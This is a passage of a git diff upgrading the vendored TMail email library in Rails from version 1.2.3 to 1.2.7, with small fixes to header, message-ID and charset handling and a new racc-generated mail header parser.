b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/header.rb similarity index 99% rename from vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/header.rb rename to vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/header.rb index dbdefcf9..c111ea5c 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/header.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/header.rb @@ -243,6 +243,8 @@ module TMail def do_parse quote_boundary + quote_unquoted_name + quote_unquoted_bencode obj = Parser.parse(self.class::PARSE_TYPE, @body, @comments) set obj if obj end @@ -314,7 +316,7 @@ module TMail if first first = false else - strategy.meta ',' + strategy.puts_meta ',' strategy.space end a.accept strategy @@ -817,7 +819,7 @@ module TMail if v strategy.meta ';' strategy.space - strategy.kv_pair k, v + strategy.kv_pair k, unquote(v) end end end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/index.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/index.rb similarity index 100% rename from vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/index.rb rename to vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/index.rb diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/interface.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/interface.rb similarity index 96% rename from vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/interface.rb rename to vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/interface.rb index 2fc2dbdf..27680c15 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/interface.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/interface.rb @@ -595,6 +595,12 @@ module TMail # Invalid message IDs are ignored (silently, unless configured otherwise) and result in # a nil message ID. Left and right angle brackets are required. # + # Be warned however, that calling mail.ready_to_send will overwrite whatever value you + # have in this field with an automatically generated unique value. + # + # If you really want to set your own message ID and know what you are doing per the + # various RFCs, you can do so with the enforced_message_id= command + # # Example: # # mail = TMail::Mail.new @@ -606,6 +612,22 @@ module TMail set_string_attr 'Message-Id', str end + # Destructively sets the message ID of the mail object instance to the passed in string + # and also guarantees that calling #ready_to_send will not destroy what you set as the + # message_id + # + # Example: + # + # mail = TMail::Mail.new + # mail.message_id = "<348F04F142D69C21-291E56D292BC@xxxx.net>" + # mail.message_id #=> "<348F04F142D69C21-291E56D292BC@xxxx.net>" + # mail.ready_to_send + # mail.message_id #=> "<348F04F142D69C21-291E56D292BC@xxxx.net>" + def enforced_message_id=( str ) + @message_id_enforced = true + self.message_id = ( str ) + end + # Returns the "In-Reply-To:" field contents as an array of this mail instance if it exists # # If the in_reply_to field does not exist, returns nil by default or you can pass in as @@ -843,7 +865,17 @@ module TMail if h = @header['content-type'] h['charset'] or default else - default + mime_version_charset || default + end + end + + # some weird emails come with the charset specified in the mime-version header: + # + # # + # + def mime_version_charset + if header['mime-version'].inspect =~ /charset=('|\\")?([^\\"']+)/ + $2 end end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/loader.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/loader.rb similarity index 100% rename from vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/loader.rb rename to vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/loader.rb diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/mail.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/mail.rb similarity index 99% rename from vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/mail.rb rename to vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/mail.rb index c3a8803d..7074ed98 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/mail.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/mail.rb @@ -547,7 +547,7 @@ module TMail end def read_multipart( src ) - bound = @header['content-type'].params['boundary'] + bound = @header['content-type'].params['boundary'] || ::TMail.new_boundary is_sep = /\A--#{Regexp.quote bound}(?:--)?[ \t]*(?:\n|\r\n|\r)/ lastbound = "--#{bound}--" diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/mailbox.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/mailbox.rb similarity index 99% rename from vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/mailbox.rb rename to vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/mailbox.rb index b0bc6a7f..fe3e2c35 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/mailbox.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/mailbox.rb @@ -364,9 +364,10 @@ module TMail end def fromline2time( line ) - m = /\AFrom \S+ \w+ (\w+) (\d+) (\d+):(\d+):(\d+) (\d+)/.match(line) \ - or return nil + m = /\AFrom \S+ \w+ (\w+) (\d+) (\d+):(\d+):(\d+) (\d+)/.match(line) or return nil Time.local(m[6].to_i, m[1], m[2].to_i, m[3].to_i, m[4].to_i, m[5].to_i) + rescue + nil end end # UNIXMbox diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/main.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/main.rb similarity index 100% rename from vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/main.rb rename to vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/main.rb diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/mbox.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/mbox.rb similarity index 100% rename from vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/mbox.rb rename to vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/mbox.rb diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/net.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/net.rb similarity index 98% rename from vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/net.rb rename to vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/net.rb index 65147228..1d87c307 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/net.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/net.rb @@ -78,7 +78,9 @@ module TMail end def add_message_id( fqdn = nil ) - self.message_id = ::TMail::new_message_id(fqdn) + unless @message_id_enforced + self.message_id = ::TMail::new_message_id(fqdn) + end end def add_date diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/obsolete.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/obsolete.rb similarity index 100% rename from vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/obsolete.rb rename to vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/obsolete.rb diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/parser.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/parser.rb new file mode 100644 index 00000000..1d4dcc2f --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/parser.rb @@ -0,0 +1,1060 @@ +# +# DO NOT MODIFY!!!! +# This file is automatically generated by racc 1.4.5 +# from racc grammer file "lib/tmail/parser.y". +# + +require 'racc/parser' + + +# +# parser.rb +# +# Copyright (c) 1998-2007 Minero Aoki +# +# This program is free software. +# You can distribute/modify this program under the terms of +# the GNU Lesser General Public License version 2.1. +# + +require 'tmail/scanner' +require 'tmail/utils' + + +module TMail + + class Parser < Racc::Parser + +module_eval <<'..end lib/tmail/parser.y modeval..id2dd1c7d21d', 'lib/tmail/parser.y', 340 + + include TextUtils + + def self.parse( ident, str, cmt = nil ) + str = special_quote_address(str) if ident.to_s =~ /M?ADDRESS/ + new.parse(ident, str, cmt) + end + + def self.special_quote_address(str) #:nodoc: + # Takes a string which is an address and adds quotation marks to special + # edge case methods that the RACC parser can not handle. + # + # Right now just handles two edge cases: + # + # Full stop as the last character of the display name: + # Mikel L. + # Returns: + # "Mikel L." + # + # Unquoted @ symbol in the display name: + # mikel@me.com + # Returns: + # "mikel@me.com" + # + # Any other address not matching these patterns just gets returned as is. + case + # This handles the missing "" in an older version of Apple Mail.app + # around the display name when the display name contains a '@' + # like 'mikel@me.com ' + # Just quotes it to: '"mikel@me.com" ' + when str =~ /\A([^"].+@.+[^"])\s(<.*?>)\Z/ + return "\"#{$1}\" #{$2}" + # This handles cases where 'Mikel A. ' which is a trailing + # full stop before the address section. Just quotes it to + # '"Mikel A." ' + when str =~ /\A(.*?\.)\s(<.*?>)\s*\Z/ + return "\"#{$1}\" #{$2}" + else + str + end + end + + MAILP_DEBUG = false + + def initialize + self.debug = MAILP_DEBUG + end + + def debug=( flag ) + @yydebug = flag && Racc_debug_parser + @scanner_debug = flag + end + + def debug + @yydebug + end + + def parse( ident, str, comments = nil ) + @scanner = Scanner.new(str, ident, comments) + @scanner.debug = @scanner_debug + @first = [ident, ident] + result = yyparse(self, :parse_in) + comments.map! {|c| to_kcode(c) } if comments + result + end + + private + + def parse_in( &block ) + yield @first + @scanner.scan(&block) + end + + def on_error( t, val, vstack ) + raise TMail::SyntaxError, "parse error on token #{racc_token2str t}" + end + +..end lib/tmail/parser.y modeval..id2dd1c7d21d + +##### racc 1.4.5 generates ### + +racc_reduce_table = [ + 0, 0, :racc_error, + 2, 35, :_reduce_1, + 2, 35, :_reduce_2, + 2, 35, :_reduce_3, + 2, 35, :_reduce_4, + 2, 35, :_reduce_5, + 2, 35, :_reduce_6, + 2, 35, :_reduce_7, + 2, 35, :_reduce_8, + 2, 35, :_reduce_9, + 2, 35, :_reduce_10, + 2, 35, :_reduce_11, + 2, 35, :_reduce_12, + 6, 36, :_reduce_13, + 0, 48, :_reduce_none, + 2, 48, :_reduce_none, + 3, 49, :_reduce_16, + 5, 49, :_reduce_17, + 1, 50, :_reduce_18, + 7, 37, :_reduce_19, + 0, 51, :_reduce_none, + 2, 51, :_reduce_21, + 0, 52, :_reduce_none, + 2, 52, :_reduce_23, + 1, 58, :_reduce_24, + 3, 58, :_reduce_25, + 2, 58, :_reduce_26, + 0, 53, :_reduce_none, + 2, 53, :_reduce_28, + 0, 54, :_reduce_29, + 3, 54, :_reduce_30, + 0, 55, :_reduce_none, + 2, 55, :_reduce_32, + 2, 55, :_reduce_33, + 0, 56, :_reduce_none, + 2, 56, :_reduce_35, + 1, 61, :_reduce_36, + 1, 61, :_reduce_37, + 0, 57, :_reduce_none, + 2, 57, :_reduce_39, + 1, 38, :_reduce_none, + 1, 38, :_reduce_none, + 3, 38, :_reduce_none, + 1, 46, :_reduce_none, + 1, 46, :_reduce_none, + 1, 46, :_reduce_none, + 1, 39, :_reduce_none, + 2, 39, :_reduce_47, + 1, 64, :_reduce_48, + 3, 64, :_reduce_49, + 1, 68, :_reduce_none, + 1, 68, :_reduce_none, + 1, 69, :_reduce_52, + 3, 69, :_reduce_53, + 1, 47, :_reduce_none, + 1, 47, :_reduce_none, + 2, 47, :_reduce_56, + 2, 67, :_reduce_none, + 3, 65, :_reduce_58, + 2, 65, :_reduce_59, + 1, 70, :_reduce_60, + 2, 70, :_reduce_61, + 4, 62, :_reduce_62, + 3, 62, :_reduce_63, + 2, 72, :_reduce_none, + 2, 73, :_reduce_65, + 4, 73, :_reduce_66, + 3, 63, :_reduce_67, + 1, 63, :_reduce_68, + 1, 74, :_reduce_none, + 2, 74, :_reduce_70, + 1, 71, :_reduce_71, + 3, 71, :_reduce_72, + 1, 59, :_reduce_73, + 3, 59, :_reduce_74, + 1, 76, :_reduce_75, + 2, 76, :_reduce_76, + 1, 75, :_reduce_none, + 1, 75, :_reduce_none, + 1, 75, :_reduce_none, + 1, 77, :_reduce_none, + 1, 77, :_reduce_none, + 1, 77, :_reduce_none, + 1, 66, :_reduce_none, + 2, 66, :_reduce_none, + 3, 60, :_reduce_85, + 1, 40, :_reduce_86, + 3, 40, :_reduce_87, + 1, 79, :_reduce_none, + 2, 79, :_reduce_89, + 1, 41, :_reduce_90, + 2, 41, :_reduce_91, + 3, 42, :_reduce_92, + 5, 43, :_reduce_93, + 3, 43, :_reduce_94, + 0, 80, :_reduce_95, + 5, 80, :_reduce_96, + 5, 80, :_reduce_97, + 1, 44, :_reduce_98, + 3, 45, :_reduce_99, + 0, 81, :_reduce_none, + 1, 81, :_reduce_none, + 1, 78, :_reduce_none, + 1, 78, :_reduce_none, + 1, 78, :_reduce_none, + 1, 78, :_reduce_none, + 1, 78, :_reduce_none, + 1, 78, :_reduce_none, + 1, 78, :_reduce_none ] + +racc_reduce_n = 109 + +racc_shift_n = 167 + +racc_action_table = [ + -69, 130, -70, 23, 25, 153, 94, 29, 31, 142, + 143, 16, 17, 20, 22, 98, -69, 154, -70, 32, + -69, 107, -70, 145, 146, 78, -69, 91, -70, 75, + -70, 23, 25, 120, 88, 29, 31, 105, 106, 16, + 17, 20, 22, 81, 27, 23, 25, 32, 112, 29, + 31, 96, 80, 16, 17, 20, 22, 117, 27, 23, + 25, 32, 79, 29, 31, 78, 123, 16, 17, 20, + 22, 100, 27, 23, 25, 32, 125, 29, 31, 113, + 115, 16, 17, 20, 22, 126, 23, 25, 101, 32, + 29, 31, 91, 128, 16, 17, 20, 22, 129, 27, + 23, 25, 32, 101, 29, 31, 101, 75, 16, 17, + 20, 22, 77, 52, 23, 25, 32, 65, 29, 31, + 133, 78, 16, 17, 20, 22, 62, 23, 25, 136, + 32, 29, 31, 60, 44, 16, 17, 20, 22, 139, + 23, 25, 101, 32, 29, 31, 101, 100, 16, 17, + 20, 22, 100, 27, 23, 25, 32, 101, 29, 31, + 147, 148, 16, 17, 20, 22, 151, 23, 25, 152, + 32, 29, 31, 74, 42, 16, 17, 20, 22, 156, + 158, 92, 40, 32, 23, 25, 15, 68, 29, 31, + 163, 40, 16, 17, 20, 22, 165, 27, 23, 25, + 32, 166, 29, 31, nil, nil, 16, 17, 20, 22, + nil, 27, 23, 25, 32, nil, 29, 31, nil, nil, + 16, 17, 20, 22, nil, 23, 25, nil, 32, 29, + 31, nil, nil, 16, 17, 20, 22, nil, 23, 25, + nil, 32, 29, 31, nil, nil, 16, 17, 20, 22, + nil, 23, 25, nil, 32, 29, 31, nil, nil, 16, + 17, 20, 22, nil, 27, nil, nil, 32, 23, 25, + 120, nil, 29, 31, nil, nil, 16, 17, 20, 22, + nil, 27, 23, 25, 32, nil, 29, 31, nil, nil, + 16, 17, 20, 22, nil, 23, 25, 109, 32, 29, + 31, 74, nil, 16, 17, 20, 22, nil, 84, 25, + nil, 32, 29, 31, nil, 87, 16, 17, 20, 22, + 84, 25, nil, 109, 29, 31, nil, 87, 16, 17, + 20, 22, 84, 25, nil, nil, 29, 31, nil, 87, + 16, 17, 20, 22, 84, 25, nil, nil, 29, 31, + nil, 87, 16, 17, 20, 22, 84, 25, nil, nil, + 29, 31, nil, 87, 16, 17, 20, 22, 84, 25, + nil, nil, 29, 31, nil, 87, 16, 17, 20, 22, + 4, 6, 7, 8, 9, 10, 11, 12, 13, 1, + 2, 3, 84, 25, nil, nil, 29, 31, nil, 87, + 16, 17, 20, 22 ] + +racc_action_check = [ + 28, 112, 75, 71, 71, 143, 56, 71, 71, 134, + 134, 71, 71, 71, 71, 62, 28, 143, 75, 71, + 28, 73, 75, 136, 136, 51, 28, 50, 75, 28, + 75, 127, 127, 127, 45, 127, 127, 72, 72, 127, + 127, 127, 127, 42, 127, 3, 3, 127, 80, 3, + 3, 60, 41, 3, 3, 3, 3, 89, 3, 151, + 151, 3, 40, 151, 151, 36, 96, 151, 151, 151, + 151, 97, 151, 55, 55, 151, 98, 55, 55, 86, + 86, 55, 55, 55, 55, 100, 7, 7, 86, 55, + 7, 7, 102, 104, 7, 7, 7, 7, 105, 7, + 8, 8, 7, 108, 8, 8, 111, 70, 8, 8, + 8, 8, 33, 8, 9, 9, 8, 13, 9, 9, + 117, 121, 9, 9, 9, 9, 12, 10, 10, 126, + 9, 10, 10, 11, 6, 10, 10, 10, 10, 130, + 2, 2, 131, 10, 2, 2, 67, 135, 2, 2, + 2, 2, 66, 2, 122, 122, 2, 138, 122, 122, + 139, 140, 122, 122, 122, 122, 141, 52, 52, 142, + 122, 52, 52, 52, 5, 52, 52, 52, 52, 147, + 150, 52, 4, 52, 26, 26, 1, 26, 26, 26, + 156, 158, 26, 26, 26, 26, 162, 26, 68, 68, + 26, 163, 68, 68, nil, nil, 68, 68, 68, 68, + nil, 68, 59, 59, 68, nil, 59, 59, nil, nil, + 59, 59, 59, 59, nil, 154, 154, nil, 59, 154, + 154, nil, nil, 154, 154, 154, 154, nil, 94, 94, + nil, 154, 94, 94, nil, nil, 94, 94, 94, 94, + nil, 38, 38, nil, 94, 38, 38, nil, nil, 38, + 38, 38, 38, nil, 38, nil, nil, 38, 90, 90, + 90, nil, 90, 90, nil, nil, 90, 90, 90, 90, + nil, 90, 76, 76, 90, nil, 76, 76, nil, nil, + 76, 76, 76, 76, nil, 27, 27, 76, 76, 27, + 27, 27, nil, 27, 27, 27, 27, nil, 114, 114, + nil, 27, 114, 114, nil, 114, 114, 114, 114, 114, + 44, 44, nil, 114, 44, 44, nil, 44, 44, 44, + 44, 44, 74, 74, nil, nil, 74, 74, nil, 74, + 74, 74, 74, 74, 113, 113, nil, nil, 113, 113, + nil, 113, 113, 113, 113, 113, 129, 129, nil, nil, + 129, 129, nil, 129, 129, 129, 129, 129, 88, 88, + nil, nil, 88, 88, nil, 88, 88, 88, 88, 88, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 77, 77, nil, nil, 77, 77, nil, 77, + 77, 77, 77, 77 ] + +racc_action_pointer = [ + 378, 155, 126, 31, 167, 174, 116, 72, 86, 100, + 113, 119, 95, 86, nil, nil, nil, nil, nil, nil, + nil, nil, nil, nil, nil, nil, 170, 281, 0, nil, + nil, nil, nil, 92, nil, nil, 39, nil, 237, nil, + 46, 38, 43, nil, 306, 15, nil, nil, nil, nil, + 11, -1, 153, nil, nil, 59, -10, nil, nil, 198, + 22, nil, -17, nil, nil, nil, 126, 117, 184, nil, + 78, -11, 21, -7, 318, 2, 268, 378, nil, nil, + 33, nil, nil, nil, nil, nil, 59, nil, 354, 35, + 254, nil, nil, nil, 224, nil, 52, 45, 45, nil, + 54, nil, 76, nil, 65, 78, nil, nil, 74, nil, + nil, 77, -13, 330, 294, nil, nil, 105, nil, nil, + nil, 95, 140, nil, nil, nil, 96, 17, nil, 342, + 125, 113, nil, nil, -14, 121, -7, nil, 128, 143, + 146, 141, 154, -10, nil, nil, nil, 165, nil, nil, + 154, 45, nil, nil, 211, nil, 173, nil, 176, nil, + nil, nil, 168, 187, nil, nil, nil ] + +racc_action_default = [ + -109, -109, -109, -109, -14, -109, -20, -109, -109, -109, + -109, -109, -109, -109, -10, -95, -105, -106, -77, -44, + -107, -11, -108, -79, -43, -102, -109, -109, -60, -103, + -55, -104, -78, -68, -54, -71, -45, -12, -109, -1, + -109, -109, -109, -2, -109, -22, -51, -48, -50, -3, + -40, -41, -109, -46, -4, -86, -5, -88, -6, -90, + -109, -7, -95, -8, -9, -98, -100, -61, -59, -56, + -69, -109, -109, -109, -109, -75, -109, -109, -57, -15, + -109, 167, -73, -80, -82, -21, -24, -81, -109, -27, + -109, -83, -47, -89, -109, -91, -109, -100, -109, -99, + -101, -75, -58, -52, -109, -109, -64, -63, -65, -76, + -72, -67, -109, -109, -109, -26, -23, -109, -29, -49, + -84, -42, -87, -92, -94, -95, -109, -109, -62, -109, + -109, -25, -74, -28, -31, -100, -109, -53, -66, -109, + -109, -34, -109, -109, -93, -96, -97, -109, -18, -13, + -38, -109, -30, -33, -109, -32, -16, -19, -14, -35, + -36, -37, -109, -109, -39, -85, -17 ] + +racc_goto_table = [ + 39, 67, 70, 73, 38, 66, 69, 24, 37, 57, + 59, 36, 55, 67, 99, 90, 85, 157, 69, 108, + 83, 134, 111, 76, 49, 53, 141, 70, 73, 150, + 118, 89, 45, 155, 159, 149, 140, 21, 14, 19, + 119, 102, 64, 63, 61, 124, 70, 104, 58, 132, + 83, 56, 97, 83, 54, 93, 43, 5, 131, 95, + 116, nil, 76, nil, 83, 76, nil, 127, nil, 38, + nil, nil, nil, 103, 138, nil, 110, nil, nil, nil, + nil, nil, nil, 144, nil, nil, nil, nil, nil, 83, + 83, nil, nil, nil, 57, nil, nil, 122, nil, 121, + nil, nil, nil, nil, nil, 83, nil, nil, nil, nil, + nil, nil, nil, nil, nil, 135, nil, nil, nil, nil, + nil, nil, 93, nil, nil, nil, 70, 161, 38, 70, + 162, 160, 137, nil, nil, nil, nil, nil, nil, nil, + nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, + nil, nil, nil, nil, 164 ] + +racc_goto_check = [ + 2, 37, 37, 29, 36, 46, 28, 13, 13, 41, + 41, 31, 45, 37, 47, 32, 24, 23, 28, 25, + 44, 20, 25, 42, 4, 4, 21, 37, 29, 22, + 19, 18, 17, 26, 27, 16, 15, 12, 11, 33, + 34, 35, 10, 9, 8, 47, 37, 29, 7, 43, + 44, 6, 46, 44, 5, 41, 3, 1, 25, 41, + 24, nil, 42, nil, 44, 42, nil, 32, nil, 36, + nil, nil, nil, 13, 25, nil, 41, nil, nil, nil, + nil, nil, nil, 47, nil, nil, nil, nil, nil, 44, + 44, nil, nil, nil, 41, nil, nil, 45, nil, 31, + nil, nil, nil, nil, nil, 44, nil, nil, nil, nil, + nil, nil, nil, nil, nil, 46, nil, nil, nil, nil, + nil, nil, 41, nil, nil, nil, 37, 29, 36, 37, + 29, 28, 13, nil, nil, nil, nil, nil, nil, nil, + nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, + nil, nil, nil, nil, 2 ] + +racc_goto_pointer = [ + nil, 57, -4, 50, 17, 46, 42, 38, 33, 31, + 29, 37, 35, 5, nil, -94, -105, 26, -14, -59, + -97, -108, -112, -133, -28, -55, -110, -117, -20, -24, + nil, 9, -35, 37, -50, -27, 1, -25, nil, nil, + nil, 0, -5, -65, -24, 3, -10, -52 ] + +racc_goto_default = [ + nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, + nil, nil, nil, 48, 41, nil, nil, nil, nil, nil, + nil, nil, nil, nil, nil, 86, nil, nil, 30, 34, + 50, 51, nil, 46, 47, nil, 26, 28, 71, 72, + 33, 35, 114, 82, 18, nil, nil, nil ] + +racc_token_table = { + false => 0, + Object.new => 1, + :DATETIME => 2, + :RECEIVED => 3, + :MADDRESS => 4, + :RETPATH => 5, + :KEYWORDS => 6, + :ENCRYPTED => 7, + :MIMEVERSION => 8, + :CTYPE => 9, + :CENCODING => 10, + :CDISPOSITION => 11, + :ADDRESS => 12, + :MAILBOX => 13, + :DIGIT => 14, + :ATOM => 15, + "," => 16, + ":" => 17, + :FROM => 18, + :BY => 19, + "@" => 20, + :DOMLIT => 21, + :VIA => 22, + :WITH => 23, + :ID => 24, + :FOR => 25, + ";" => 26, + "<" => 27, + ">" => 28, + "." => 29, + :QUOTED => 30, + :TOKEN => 31, + "/" => 32, + "=" => 33 } + +racc_use_result_var = false + +racc_nt_base = 34 + +Racc_arg = [ + racc_action_table, + racc_action_check, + racc_action_default, + racc_action_pointer, + racc_goto_table, + racc_goto_check, + racc_goto_default, + racc_goto_pointer, + racc_nt_base, + racc_reduce_table, + racc_token_table, + racc_shift_n, + racc_reduce_n, + racc_use_result_var ] + +Racc_token_to_s_table = [ +'$end', +'error', +'DATETIME', +'RECEIVED', +'MADDRESS', +'RETPATH', +'KEYWORDS', +'ENCRYPTED', +'MIMEVERSION', +'CTYPE', +'CENCODING', +'CDISPOSITION', +'ADDRESS', +'MAILBOX', +'DIGIT', +'ATOM', +'","', +'":"', +'FROM', +'BY', +'"@"', +'DOMLIT', +'VIA', +'WITH', +'ID', +'FOR', +'";"', +'"<"', +'">"', +'"."', +'QUOTED', +'TOKEN', +'"/"', +'"="', +'$start', +'content', +'datetime', +'received', +'addrs_TOP', +'retpath', +'keys', +'enc', +'version', +'ctype', +'cencode', +'cdisp', +'addr_TOP', +'mbox', +'day', +'hour', +'zone', +'from', +'by', +'via', +'with', +'id', +'for', +'received_datetime', +'received_domain', +'domain', +'msgid', +'received_addrspec', +'routeaddr', +'spec', +'addrs', +'group_bare', +'commas', +'group', +'addr', +'mboxes', +'addr_phrase', +'local_head', +'routes', +'at_domains', +'local', +'word', +'dots', +'domword', +'atom', +'phrase', +'params', +'opt_semicolon'] + +Racc_debug_parser = false + +##### racc system variables end ##### + + # reduce 0 omitted + +module_eval <<'.,.,', 'lib/tmail/parser.y', 16 + def _reduce_1( val, _values) + val[1] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 17 + def _reduce_2( val, _values) + val[1] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 18 + def _reduce_3( val, _values) + val[1] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 19 + def _reduce_4( val, _values) + val[1] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 20 + def _reduce_5( val, _values) + val[1] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 21 + def _reduce_6( val, _values) + val[1] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 22 + def _reduce_7( val, _values) + val[1] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 23 + def _reduce_8( val, _values) + val[1] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 24 + def _reduce_9( val, _values) + val[1] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 25 + def _reduce_10( val, _values) + val[1] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 26 + def _reduce_11( val, _values) + val[1] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 27 + def _reduce_12( val, _values) + val[1] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 36 + def _reduce_13( val, _values) + t = Time.gm(val[3].to_i, val[2], val[1].to_i, 0, 0, 0) + (t + val[4] - val[5]).localtime + end +.,., + + # reduce 14 omitted + + # reduce 15 omitted + +module_eval <<'.,.,', 'lib/tmail/parser.y', 45 + def _reduce_16( val, _values) + (val[0].to_i * 60 * 60) + + (val[2].to_i * 60) + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 51 + def _reduce_17( val, _values) + (val[0].to_i * 60 * 60) + + (val[2].to_i * 60) + + (val[4].to_i) + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 56 + def _reduce_18( val, _values) + timezone_string_to_unixtime(val[0]) + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 61 + def _reduce_19( val, _values) + val + end +.,., + + # reduce 20 omitted + +module_eval <<'.,.,', 'lib/tmail/parser.y', 67 + def _reduce_21( val, _values) + val[1] + end +.,., + + # reduce 22 omitted + +module_eval <<'.,.,', 'lib/tmail/parser.y', 73 + def _reduce_23( val, _values) + val[1] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 79 + def _reduce_24( val, _values) + join_domain(val[0]) + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 83 + def _reduce_25( val, _values) + join_domain(val[2]) + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 87 + def _reduce_26( val, _values) + join_domain(val[0]) + end +.,., + + # reduce 27 omitted + +module_eval <<'.,.,', 'lib/tmail/parser.y', 93 + def _reduce_28( val, _values) + val[1] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 98 + def _reduce_29( val, _values) + [] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 103 + def _reduce_30( val, _values) + val[0].push val[2] + val[0] + end +.,., + + # reduce 31 omitted + +module_eval <<'.,.,', 'lib/tmail/parser.y', 109 + def _reduce_32( val, _values) + val[1] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 113 + def _reduce_33( val, _values) + val[1] + end +.,., + + # reduce 34 omitted + +module_eval <<'.,.,', 'lib/tmail/parser.y', 119 + def _reduce_35( val, _values) + val[1] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 125 + def _reduce_36( val, _values) + val[0].spec + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 129 + def _reduce_37( val, _values) + val[0].spec + end +.,., + + # reduce 38 omitted + +module_eval <<'.,.,', 'lib/tmail/parser.y', 136 + def _reduce_39( val, _values) + val[1] + end +.,., + + # reduce 40 omitted + + # reduce 41 omitted + + # reduce 42 omitted + + # reduce 43 omitted + + # reduce 44 omitted + + # reduce 45 omitted + + # reduce 46 omitted + +module_eval <<'.,.,', 'lib/tmail/parser.y', 146 + def _reduce_47( val, _values) + [ Address.new(nil, nil) ] + end +.,., + +module_eval 